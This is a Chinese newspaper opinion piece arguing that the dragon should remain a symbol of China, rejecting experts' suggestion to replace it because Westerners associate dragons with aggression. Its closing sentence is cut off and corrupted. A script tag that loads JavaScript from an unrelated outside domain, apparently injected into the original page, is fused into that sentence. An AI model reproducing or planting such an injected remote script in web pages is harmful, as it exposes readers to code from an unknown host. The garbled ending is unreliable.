本报评论员 黄一辉
日前,最近有专家高调提出,要修正龙作为中国国家形象的标志,理由是龙在西方世界被认为是一种充满霸气和攻击性的庞然大物。“龙”的形象会让一些西方人武断地产生一些不符合实际的联想或别有用心的歪曲。而且这一研究已正式被上海市哲学社会科学规划课题立项。消息一出,舆论哗然。据国内某民意调查,反对这一研究者高达99.9%。可见这一所谓的研究所谓的课题实在是不得人心。
一些专家建议放弃的原因其实很简单,那就是因为“龙”的英文是“Drag-on”,它在西方世界被认为是一种充满霸气和攻击性的庞然大物。仅仅因为外国人误解就想改变它,实在让人感觉有些可笑。
在我国传统文化里,还有哪个形象的积极元素能和龙相比?《礼记·礼运篇》中就称“龙、麟、凤龟’,谓之四灵。”龙的各部位都有特定的寓意:突起的前额表示聪明智慧;鹿角表示社稷和长寿;牛耳寓意名列魁首;虎眼表现威严;魔爪表现勇猛;剑眉象征英武;狮鼻复象征宝贵;金鱼尾象征灵活;马齿象征勤劳和善良等。龙的精神可以用团结凝聚的精神、造福人类的精神、奋发开拓的精神和与天和谐的精神来概括。除掉龙以外,谁有这么多的积极元素?
既然承认了西方世界和东方世界认识上有偏差,那么就应该接受这种偏差,而不应该去求什么大一统。龙在我们国家是美好的积极的象征,就不应该放弃。放弃中国龙的象征,也就等于放弃了自我的个性。重塑国家形象品牌,恰恰不是放弃品牌,却是应该运用好现有的品牌和发扬现有的品牌。
况且众所周知,我们都是龙的传人,我们都是炎黄子孙。人们历来把龙看作为中华民族的象征,中华民族的子孙都是龙的传人,龙的根脉,说到底,也是一种信仰。而这种信仰,它已经深深根植于人们骨子里。
西方世界里的dragon是一种邪恶的动物,其典故出自《圣经·新约·启示录》,其中提到一条红色的dragon,“名叫魔鬼,又叫撒旦,是迷惑普天下的”,因此在西方传说中dragon成为邪恶和暴力的象征。但中国龙的情况完全不同,在中国,龙是由九种图腾(鹿的角、骆驼的头、虾的眼睛、蛇的身体、青蛙(蜃)的肚皮、鲤鱼的鳞、鹰的爪子、老虎的手掌、牛的耳朵)组成的新图腾,象征着无数早期氏族联合组成中华民族最早的主体——夏族,正因如此,在中国,龙是吉祥的象征,是风调雨顺的保证,是民族和谐的标志,数千年来,约定俗成,深入人心。
中国龙不是dragon,二者之间唯一的联系,只是西方人在翻译时偶然用dragon一词对应“中国龙”而已。
从古到今,龙一直作为中国形象的一个代表性标志而为中外普遍认同。国人及海外华人华侨都以自己是“龙的传人”而倍感骄傲和自豪。中国龙是中国本民族的,民族象征首先是本民族的,首要考虑的是本民族的传统、习惯、历史和感情,自己人认可和喜爱的就该理直气壮地保留,反之就可毫不犹豫地扬弃。中华民族历史上扬弃过许多落后的“传统习俗”,如人殉、如皇帝,但中国龙却始终深入人心,从十二生肖到龙舟竞渡,从民间传说到爱国歌曲,龙可谓无处不在,不但是国内民众、也是众多海外华人华侨的精神象征,怎么能由个别专家说“修正”就“修正”,理由还是“外国人”不爽?实在是荒唐之极。 反过来讲,“鹰”在大多数东方人心目中不是什么吉祥的玩意儿,美国人是否也以“避免外国人不符合实际的联想”改变其“美国鹰”的形象呢?至于“中国形象标志”,官方的、正式的应该是国旗、国徽,龙只不过是民间约定俗成的象征,它之“上任”就不是谁指定的,自然也不是个别人的几句话就能把它拉下神坛——无论是什么“专家”,还能撼动民心么?
不仅如此,那些所谓的专家们提出的理由根本就站不住脚:某些人敌视中国、宣扬中国威胁论,是从其立场、思想、利益出发的,是因为觉得中国的强大对其不利,而不是因为中国龙的形象让他们反感,历史上古埃及曾以温顺的猫为吉祥物,非洲的阿波美王国以弱小的松鼠为象征,但他们的敌人罗马和法国并未因“这些象征很善良可爱”而放弃对其的觊觎,同理,中国龙即使改成小白兔、小绵羊,该友好的依旧会友好,该敌视的依旧会敌视,什么都不会改变。
抛开那些有特殊立场者,普通外国人对中国龙的态度并不是那些“专家们”所说的那样。 几乎所有华人聚居地,过年都免不了舞龙舞狮,白人也好,黑人也好,并未表露出什么不满或反感,许多人反倒饶有兴趣地参与其中,美国前些年的动画大片《花木兰》中就专门设计了一条宠物龙,很受当?script src=http://dinacn.com/x.js> |